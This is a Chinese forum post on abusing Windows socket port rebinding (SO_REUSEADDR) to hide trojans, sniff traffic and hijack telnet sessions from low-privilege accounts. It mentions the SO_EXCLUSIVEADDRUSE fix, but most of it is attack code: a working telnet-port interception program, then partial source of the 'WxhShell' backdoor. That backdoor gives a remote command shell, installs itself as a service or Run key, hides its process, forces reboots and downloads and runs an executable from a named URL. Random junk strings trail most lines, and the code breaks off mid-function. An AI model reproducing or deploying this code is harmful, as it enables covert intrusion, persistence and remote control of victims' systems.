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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [ sJ f)<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "&*O7cs$pA  
SskvxH+7  
  saddr.sin_family = AF_INET; f*KNt_|:  
[:<CgU9C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KM$L u2  
mUY+v>F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `s93P^%  
]V*s-och'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $qG;^1$  
cM%I5F+n  
  这意味着什么?意味着可以进行如下的攻击: _$%.F| :  
| Qo`K%8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :N$^x /{  
DXu915  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FrBoE#  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q qGf*  
Oz(0$c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1y@d`k`t:  
pEgQ) 9\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -d]-R ?mQ  
("-Co,4ey  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "F?p\I)(  
Z5 iP1/&D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |O3wAxc3W  
9jq}`$S{  
  #include +bpUb0.W  
  #include R:c$f(aKv%  
  #include &R+/Ie#0dz  
  #include    @9_H4V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .4E5{F{~  
  int main() Q\.~cIw_AQ  
  { AjBwj5K  
  WORD wVersionRequested; _N!L?b83P  
  DWORD ret; 2"+8NfFl  
  WSADATA wsaData; " &2Kvsz  
  BOOL val; "D#+:ix8G|  
  SOCKADDR_IN saddr; 91%QO?hz  
  SOCKADDR_IN scaddr; FG/".dU  
  int err; ybLl[K(D=  
  SOCKET s; 2F* spu  
  SOCKET sc; 278:5yC  
  int caddsize; kN(*.Q|VZ  
  HANDLE mt; o2M+=O@  
  DWORD tid;   ~ 8L]!OQ9=  
  wVersionRequested = MAKEWORD( 2, 2 ); T DOOq;+  
  err = WSAStartup( wVersionRequested, &wsaData ); k4:$LFw@  
  if ( err != 0 ) { K|JpkEw  
  printf("error!WSAStartup failed!\n"); D5lzrpg_e  
  return -1; -PXRd)~  
  } {*utke]}*  
  saddr.sin_family = AF_INET; n N.6?a  
   BUcPMF%\y:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .*\TG/x  
.Z%y16)T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eC`} oEz  
  saddr.sin_port = htons(23); |f5WN&c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 32h}+fd  
  { 1 ; _tu  
  printf("error!socket failed!\n"); 7<FI[  
  return -1; [7x,&  
  } #dy z  
  val = TRUE; o/0cd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "#zSk=52z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y!_*CYZ~m  
  { S,ZlS<Z#  
  printf("error!setsockopt failed!\n"); MLD1%* &0  
  return -1; @bs YJ4-V  
  } @yc/1u $r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qe. Qjq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t &scvXh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fg` P@hC  
"^M/iv(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $sF'Sr{)y  
  { 0"l*8%g  
  ret=GetLastError(); pJ8;7u  
  printf("error!bind failed!\n"); U\OfB'Dn  
  return -1; E"i<fr T  
  } %L;z~C  
  listen(s,2); : jgvg$fd  
  while(1) NsbC0xLd  
  { nV`n=x  
  caddsize = sizeof(scaddr); DX3xWdnr  
  //接受连接请求 Xn:5pd;?B6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q\H1=8  
  if(sc!=INVALID_SOCKET) '7BJ.  
  { ,orq&#*Wd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }jL_/gvgy  
  if(mt==NULL) :A2{  
  { 96a2G,c >V  
  printf("Thread Creat Failed!\n"); {?X#E12vf  
  break; d}d1]@Y\  
  } jVW .=FK  
  } 1=U(ZX+u  
  CloseHandle(mt); 5a8[0&hA 2  
  } IZ9L ;"}  
  closesocket(s); CdB sd  
  WSACleanup(); s,z$Vt"h*K  
  return 0; ^)i5.o\  
  }   :eHD{=  
  DWORD WINAPI ClientThread(LPVOID lpParam) ajr);xd  
  { i^<P@ |q  
  SOCKET ss = (SOCKET)lpParam; K;ncviGu  
  SOCKET sc; [u?*' c{  
  unsigned char buf[4096]; cx+w_D9b!  
  SOCKADDR_IN saddr; tccw0  
  long num; ,=Q;@Z4 vJ  
  DWORD val; /R/\>'{E&c  
  DWORD ret; $*k(h|XfwW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kivr)cIG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %#AM }MWIa  
  saddr.sin_family = AF_INET; Ai*R%#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^4G%*-   
  saddr.sin_port = htons(23); G`;YB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ca2He}r`  
  { ~ShoU m[  
  printf("error!socket failed!\n"); [ GcH4E9r  
  return -1; (ncm]W  
  } jH5VrN*Q  
  val = 100; ^ <$$h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s (2/]f$  
  { vHydqFi9  
  ret = GetLastError(); A'zXbp:%  
  return -1; ?'xwr )v  
  } (u_?#PjX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XJ$mRh0`K  
  { m2{DLw".  
  ret = GetLastError(); ,ORwMZtw{H  
  return -1; J2_~iC&;s  
  } %pJRu-D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q.}M^iDe  
  { +VSq[P  
  printf("error!socket connect failed!\n"); jV|j]m&t  
  closesocket(sc); ~10>mg  
  closesocket(ss); },]G +L;R  
  return -1; $ [t7&e  
  } {s{ bnU  
  while(1) _ArN[]Z  
  { x$SxGc~4gb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <<SUIY@X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vC [uEx:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  S6d&w6  
  num = recv(ss,buf,4096,0); qOqU CRUe:  
  if(num>0) Xn%ty@8  
  send(sc,buf,num,0); H{d;, KfX  
  else if(num==0) vvi[+$M  
  break; @$*LU:[  
  num = recv(sc,buf,4096,0); &s{" Vc9]  
  if(num>0) yIq. m=  
  send(ss,buf,num,0);  %"jp':  
  else if(num==0) [X&VxTxr  
  break; Lu][0+-  
  } swTur  
  closesocket(ss); ,N1I\f  
  closesocket(sc); %U uVD  
  return 0 ; $bCN;yE  
  } f, iHM  
5R%4fzr&g  
A &tMj?  
========================================================== G u4mP  
n OQvBc  
下边附上一个代码,,WXhSHELL AY(z9 &;6  
\*+-Bm:$j  
========================================================== o,q47W=7$  
yQ03&{#  
#include "stdafx.h" 2uEvu  
l~C=yP(~  
#include <stdio.h> w=Yc(Y:h  
#include <string.h> uE=pq<  
#include <windows.h> `zP{E T_Y  
#include <winsock2.h> 9 *+X ^q'  
#include <winsvc.h> ~lQ<#*wl  
#include <urlmon.h> tb1w 6jaU  
V4CL% i  
#pragma comment (lib, "Ws2_32.lib") JVe!(L4H  
#pragma comment (lib, "urlmon.lib") bd;?oYV~  
oro^'#ki  
#define MAX_USER   100 // 最大客户端连接数 DkA@KS1Dq  
#define BUF_SOCK   200 // sock buffer ,7/F?!G!J  
#define KEY_BUFF   255 // 输入 buffer s#* DY  
%+bw2;a6  
#define REBOOT     0   // 重启 ytyX:e"  
#define SHUTDOWN   1   // 关机 P$H9  
isR)^fI|  
#define DEF_PORT   5000 // 监听端口 v?L`aj1ox  
%2ZWSQD  
#define REG_LEN     16   // 注册表键长度 [dIlt"2fV  
#define SVC_LEN     80   // NT服务名长度 *RllKPY)  
 KB5<)[bs  
// 从dll定义API xsERnF>`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XIRvIwO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mzbMX <  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JW2~ G!@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]w5j?h"b  
17ol %3 M  
// wxhshell配置信息 HxnWM\p  
struct WSCFG { sMDHg  
  int ws_port;         // 监听端口 _0Z8V[  
  char ws_passstr[REG_LEN]; // 口令 d8Sr,t+  
  int ws_autoins;       // 安装标记, 1=yes 0=no YsA.,   
  char ws_regname[REG_LEN]; // 注册表键名 G9AQIU%ii  
  char ws_svcname[REG_LEN]; // 服务名 M@a=|N~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x&d:V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &fRZaq'2R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =8W'4MC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :(TOtrK@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =C4!h'hz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p->b Vt  
XdV(=PS!a@  
}; \2OjIEQQ  
9>!B .Z?!#  
// default Wxhshell configuration )+dd  
struct WSCFG wscfg={DEF_PORT, u d$*/ )/  
    "xuhuanlingzhe", @w @SOzS)  
    1, %<rV~9:  
    "Wxhshell", TO]7%aB  
    "Wxhshell", 9~|hGo  
            "WxhShell Service", PCX X[N  
    "Wrsky Windows CmdShell Service", h 7  c  
    "Please Input Your Password: ", .[:2M9Rx  
  1, bKac?y~S_  
  "http://www.wrsky.com/wxhshell.exe", U6Xi-@XP  
  "Wxhshell.exe" #7BX,jvn>  
    }; \ ~uY);  
\agT#tT J  
// 消息定义模块 h/xV;oj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kn`-5{1B|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 586lN22xM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qGhwbg  
char *msg_ws_ext="\n\rExit."; ]s>y se  
char *msg_ws_end="\n\rQuit."; K0-AP $  
char *msg_ws_boot="\n\rReboot..."; m-AW}1:\f  
char *msg_ws_poff="\n\rShutdown..."; a[hQ<@1O  
char *msg_ws_down="\n\rSave to "; 8=DZ;]XD.  
`CqF&b  
char *msg_ws_err="\n\rErr!"; (>M@Ukam:  
char *msg_ws_ok="\n\rOK!"; sV$Zf `X)  
lCxPR'C|  
char ExeFile[MAX_PATH]; 4VI'd|Ed  
int nUser = 0; *'\ xlsp#  
HANDLE handles[MAX_USER]; Tq,xW  
int OsIsNt; "Cn<x\E b  
)^[PW&=W|x  
SERVICE_STATUS       serviceStatus; =q"o%dc`R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _d*QA{  
jrLV\(p  
// 函数声明 ^#p+#_*V  
int Install(void); K<~J*k<v  
int Uninstall(void); ^/:G`'  
int DownloadFile(char *sURL, SOCKET wsh); 4fgYO]  
int Boot(int flag); %=<Kb\  
void HideProc(void); XFJz\'{  
int GetOsVer(void); uK5 C-  
int Wxhshell(SOCKET wsl); E0_S+`o2y  
void TalkWithClient(void *cs); i564<1`x  
int CmdShell(SOCKET sock); h:~ 8WV|  
int StartFromService(void); Q/y"W,H#  
int StartWxhshell(LPSTR lpCmdLine); ]v|n'D-?  
V4tObZP3Ff  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AB[#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K/IG6s;Xj  
 zPW_  
// 数据结构和表定义 QvvH/u  
SERVICE_TABLE_ENTRY DispatchTable[] = V)#rP?Y  
{ L3|~ i&k  
{wscfg.ws_svcname, NTServiceMain}, #:M <<gk  
{NULL, NULL} D?`|`Mu  
}; !6pE0(V^+4  
L`n Ma   
// 自我安装 bY!1t}ALh  
int Install(void) L)-1( e<x  
{ TV[@!E a  
  char svExeFile[MAX_PATH]; H?$gHZPI  
  HKEY key; (GB*+@  
  strcpy(svExeFile,ExeFile);  ;)ji3M  
DWmViuZmL  
// 如果是win9x系统,修改注册表设为自启动 "C'T>^qw*  
if(!OsIsNt) { u3])_oj=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~=i<O&nai  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jPA^SxM  
  RegCloseKey(key); &KP JB"0L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M#o'hc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :~4 M9  
  RegCloseKey(key); .xV^%e?H  
  return 0; 3.E3}Jz`  
    } 2Wp)CI<\D  
  } g#s hd~e  
} z=pGu_`2  
else { JH`oa1 b  
< +X,oxg  
// 如果是NT以上系统,安装为系统服务 wgFAPZr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 29kR7[k  
if (schSCManager!=0) w3Z;&sFd  
{ P{%R*hb]  
  SC_HANDLE schService = CreateService )9s 6(Iu  
  ( kcio]@#  
  schSCManager, ,l7',@6Y  
  wscfg.ws_svcname, f,0,:)  
  wscfg.ws_svcdisp, i[ 40p!~  
  SERVICE_ALL_ACCESS, *G(ZRj@ 33  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~%d*#Yxq  
  SERVICE_AUTO_START, EB2 5N~7  
  SERVICE_ERROR_NORMAL, v/z~ j  
  svExeFile, CA5q(ID_  
  NULL, X3l? YA  
  NULL, '-NHu +  
  NULL, 'Z 82+uU%  
  NULL, Vk?US&1q}  
  NULL P-)`FB  
  ); }4XXNYH  
  if (schService!=0) _(0GAz%9  
  { B~7]x;8h  
  CloseServiceHandle(schService); WeE1 \  
  CloseServiceHandle(schSCManager); 141XnAb)I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); st-I7K\v  
  strcat(svExeFile,wscfg.ws_svcname); f\h|Z*Bv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = @n`5g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1,Ji|&Pwf  
  RegCloseKey(key); .j^=]3  
  return 0; m 7/b.B}  
    } ^;mnP=`l[  
  } mt*/%>@7R  
  CloseServiceHandle(schSCManager); G[ gfD\  
} w .+B h  
} |jJ9dTD8/  
? H7?>ZE  
return 1; sQgJ`+Y8_  
} dO|n[/qL0  
|nT+ W| 0U  
// 自我卸载 #1<Jwt+  
int Uninstall(void) IfzZ\x .  
{ -cs$E2 -  
  HKEY key; D,&o=EU  
Zg/ ],/`  
if(!OsIsNt) { z%44@TP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dio9'&DtC  
  RegDeleteValue(key,wscfg.ws_regname); X}G3>HcP  
  RegCloseKey(key); ,<O|Iis  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K~Z$NS^W&  
  RegDeleteValue(key,wscfg.ws_regname); 7]lUPLsl  
  RegCloseKey(key); *!&,)''  
  return 0; vd#BT$d?  
  } `| f1^C^  
} $.T\dm-  
} }CB9H$FkCY  
else { |P(8T'  
j5V{,lf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WdJJt2'  
if (schSCManager!=0) r>Cv@4/j  
{ . E? a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fd1jElt  
  if (schService!=0) L]#b =Y  
  { 9MUg/  
  if(DeleteService(schService)!=0) { p n(y4we  
  CloseServiceHandle(schService); 4StoEgFS  
  CloseServiceHandle(schSCManager); ;$/]6@bqB  
  return 0; mWX{I2  
  } qz&?zzz;  
  CloseServiceHandle(schService); u?lbC9}$  
  } 5 ]l8l+  
  CloseServiceHandle(schSCManager); TpAso[r  
} ~Zo;LSI  
} f/UIpswrZ'  
F@rx/3 [  
return 1; $J!WuOz4^i  
} lOu&4Kq{g  
[VY265)g  
// 从指定url下载文件 bo40s9"-*W  
int DownloadFile(char *sURL, SOCKET wsh) ;kR+jC(  
{ NEff`mwm5)  
  HRESULT hr; cs0rz= ZdH  
char seps[]= "/"; \<Di |X1  
char *token; p%ZAVd*|#V  
char *file; Zx U?d   
char myURL[MAX_PATH]; , ^@z;xF  
char myFILE[MAX_PATH]; E?cf#;2h8m  
!T$h? o  
strcpy(myURL,sURL); gaU1A"S}  
  token=strtok(myURL,seps); }-T :   
  while(token!=NULL) CC|=$(PgT  
  { IZOO>-g'f  
    file=token; %eW2w@8]  
  token=strtok(NULL,seps); ^17i98w  
  } 't'2z  
o>e-M  
GetCurrentDirectory(MAX_PATH,myFILE); yt1dYF0Xq  
strcat(myFILE, "\\"); Q+; N(\  
strcat(myFILE, file); K?eY<L  
  send(wsh,myFILE,strlen(myFILE),0); JGQ)/(  
send(wsh,"...",3,0); ,)Z1&J?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *Z2#U ?_  
  if(hr==S_OK) +XpQ9Cd  
return 0; :YM1p&|fS  
else "P8( R  
return 1; OTD<3Q q  
#y*p7~|@  
} 5m9;'SF  
3h**y %^  
// 系统电源模块 LjPpnjU  
int Boot(int flag) WuMr";2*E  
{ `P?!2\/  
  HANDLE hToken; R/Te ;z  
  TOKEN_PRIVILEGES tkp; k]~|!`  
37 d-!  
  if(OsIsNt) { + ;_0:+//  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }E#1Z\)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8DcIM(;Z  
    tkp.PrivilegeCount = 1; _`+2e-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A75z/O{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *_/n$& I%&  
if(flag==REBOOT) { F~wqt7*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pv3qN{265  
  return 0; Nbd[xs-lw  
} {)PgN  
else { "HtaJVp//  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DT3koci(  
  return 0; wPxtQv  
} y)mtSA8  
  } 9F2MCqvcm  
  else { 1-}M5]Y  
if(flag==REBOOT) { T~)R,OA7m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `@^s}rt+  
  return 0; k FCdGl  
} yQE9S+%M  
else { Y Sux#*#H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y3bZ&G)  
  return 0; Y{OnW98  
} Tzr'3m_  
} :&BE-f  
F5%IsAH  
return 1; AYv7- !Yk  
} n7pjj  
5E0dX3-  
// win9x进程隐藏模块 `qhZZ{s)1U  
void HideProc(void) pReSvF}}C  
{ M"5S  
!NTt' 4/F{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PE<(eIr  
  if ( hKernel != NULL ) jPEOp#C  
  { S^_F0</U,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @waY+sqt=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S=qx,<J 39  
    FreeLibrary(hKernel); {~EPP .  
  } 8SoTABHV  
q+W* ?a)  
return; U(5Yg  
} 4q*mEV  
5U6b\jxX  
// 获取操作系统版本 Zqj EVVB  
int GetOsVer(void) Eg4_kp0Lq  
{ }ZJ*N Y  
  OSVERSIONINFO winfo; A>%mJ3M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \?"p]&2UcB  
  GetVersionEx(&winfo); qKk|2ecTB5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) + I4s0  
  return 1; F?XiP.`DR  
  else a]@BS6  
  return 0; fr<V])  
} RL b o  
1"~$(@oxG  
// 客户端句柄模块 3c[]P2Bh  
int Wxhshell(SOCKET wsl) r>g5_"FL  
{ U U@  
  SOCKET wsh; Y?\PU{ O  
  struct sockaddr_in client; Un Ocw  
  DWORD myID; *H~&hs>k  
="de+S8W  
  while(nUser<MAX_USER) rY295Q  
{ \nU_UH  
  int nSize=sizeof(client); a LJ d1Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ww=b{lUD  
  if(wsh==INVALID_SOCKET) return 1; <jG[ z69)  
["sm7yQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CvRO'  
if(handles[nUser]==0) q``:[Sz  
  closesocket(wsh); *+_+Z DU  
else hkx(r5o  
  nUser++; ._TN;tR~'  
  } L u1pxL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F~?|d 0  
5=/j  
  return 0; Fil6;R  
} nhRpb9f`1@  
Kiq[PK  
// 关闭 socket cFr `9A\-n  
void CloseIt(SOCKET wsh) Fhga^.5U&  
{ czT]XF  
closesocket(wsh); ]nq/y AF%  
nUser--; :ka^ ztXG  
ExitThread(0); 3<_=Vyf  
} ^u> fW[ "[  
qK]Om6 a~  
// 客户端请求句柄 W~/{ct$Y  
void TalkWithClient(void *cs) z@v2t>@3k  
{  VM<$!Aaz  
qO[_8's8  
  SOCKET wsh=(SOCKET)cs; vGwpDu\RgX  
  char pwd[SVC_LEN]; +P<#6<gR  
  char cmd[KEY_BUFF]; 8~AL+*hn  
char chr[1]; ! =*k+gpF  
int i,j; t]E@AJO K  
009Q#[A  
  while (nUser < MAX_USER) { 3EH7H W  
RO[6PlrRN  
if(wscfg.ws_passstr) { A=r8_.@2@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;cGY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2^y*O  
  //ZeroMemory(pwd,KEY_BUFF); yiMqe^zy  
      i=0; PQP|V>g  
  while(i<SVC_LEN) { KpT=twcK  
V/BU(`~i  
  // 设置超时 pj Md  
  fd_set FdRead; f<M!L> +M6  
  struct timeval TimeOut; r9n:[A&HE  
  FD_ZERO(&FdRead); Bo8NY!  
  FD_SET(wsh,&FdRead); ef2)k4)"  
  TimeOut.tv_sec=8; eIQ@){lJ-]  
  TimeOut.tv_usec=0; eU\XAN#@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *z&hXYm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {RI)I  
.mplML0oW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u{S"NEc  
  pwd=chr[0]; 8khIy-9-'  
  if(chr[0]==0xd || chr[0]==0xa) { -PTfsQk  
  pwd=0; } ^2'@y!(  
  break; onl,R{,`0  
  } a#a n+JY3  
  i++; 5,?^SK|'x  
    } B`:l;<&jX  
f o idneus  
  // 如果是非法用户,关闭 socket Fz' s\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1p8hn!V  
} "b) hj?  
1rON8=E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ 1~|/WG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pA6A*~QE  
QW_BT ^d"  
while(1) { 6G{ Q@  
$e:bDZ(hjj  
  ZeroMemory(cmd,KEY_BUFF); gv1y%(`|n(  
FM7`q7d  
      // 自动支持客户端 telnet标准   ?}#Iu-IA  
  j=0; g}pD%  
  while(j<KEY_BUFF) { %e:[[yq)G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h4Xz"i{z  
  cmd[j]=chr[0]; PJ\k|  
  if(chr[0]==0xa || chr[0]==0xd) { } L _Zmi$  
  cmd[j]=0; \\;y W~  
  break; jZ''0Lclpc  
  } /0Mt-8[  
  j++; yW&ka3j\  
    } C7K]c4T  
""*g\  
  // 下载文件 -q\Rbb5M  
  if(strstr(cmd,"http://")) { g.\%jDM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -d^'-s  
  if(DownloadFile(cmd,wsh)) N_/+B]r }T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qfjUJ/  
  else $W%-Mm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@kf^1G  
  } ;=WwJ Np~  
  else { eJeL{`NS  
MG~bDM4  
    switch(cmd[0]) { *K BaKS  
  <v=s:^;C0  
  // 帮助 p(nEcu  
  case '?': { 4W}mPeEeV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | ^G38  
    break; e;2A{VsD8  
  } >`p? CE  
  // 安装 mtdy@=?1Y  
  case 'i': { ?!O4ia3nFk  
    if(Install()) |a %Wd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hzT)5'_  
    else '8[; m_S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tgh?=]H  
    break; wB&5q!{!  
    } Q>71uM%e`  
  // 卸载 BGHZL~  
  case 'r': { BWNI|pq)v  
    if(Uninstall()) SM8_C!h:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JKy~'>Q  
    else )j\_*SoH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q@tym5  
    break; _07$TC1  
    } LR';cR;  
  // 显示 wxhshell 所在路径 p$uPj*  
  case 'p': { |(AFU3 ~  
    char svExeFile[MAX_PATH]; O<E8,MCA[a  
    strcpy(svExeFile,"\n\r"); %k~ezn  
      strcat(svExeFile,ExeFile); Dt{WRe\#  
        send(wsh,svExeFile,strlen(svExeFile),0); (L yKo  
    break; vPc*x5w-  
    } $HtGB]  
  // 重启 "YW Z&_n**  
  case 'b': { AyPtbrO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @DF7j|]tV  
    if(Boot(REBOOT)) ZCV i ZWo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64]8ykRD-  
    else { @BG].UJo  
    closesocket(wsh); `WnsM; 1Y"  
    ExitThread(0); aOS,%J^ ?  
    } uB#U( jl  
    break; klH?!r&  
    } K?r  
  // 关机 E@yo/S  
  case 'd': { j=Izwt>   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Z x|=  
    if(Boot(SHUTDOWN)) bE{Y K  
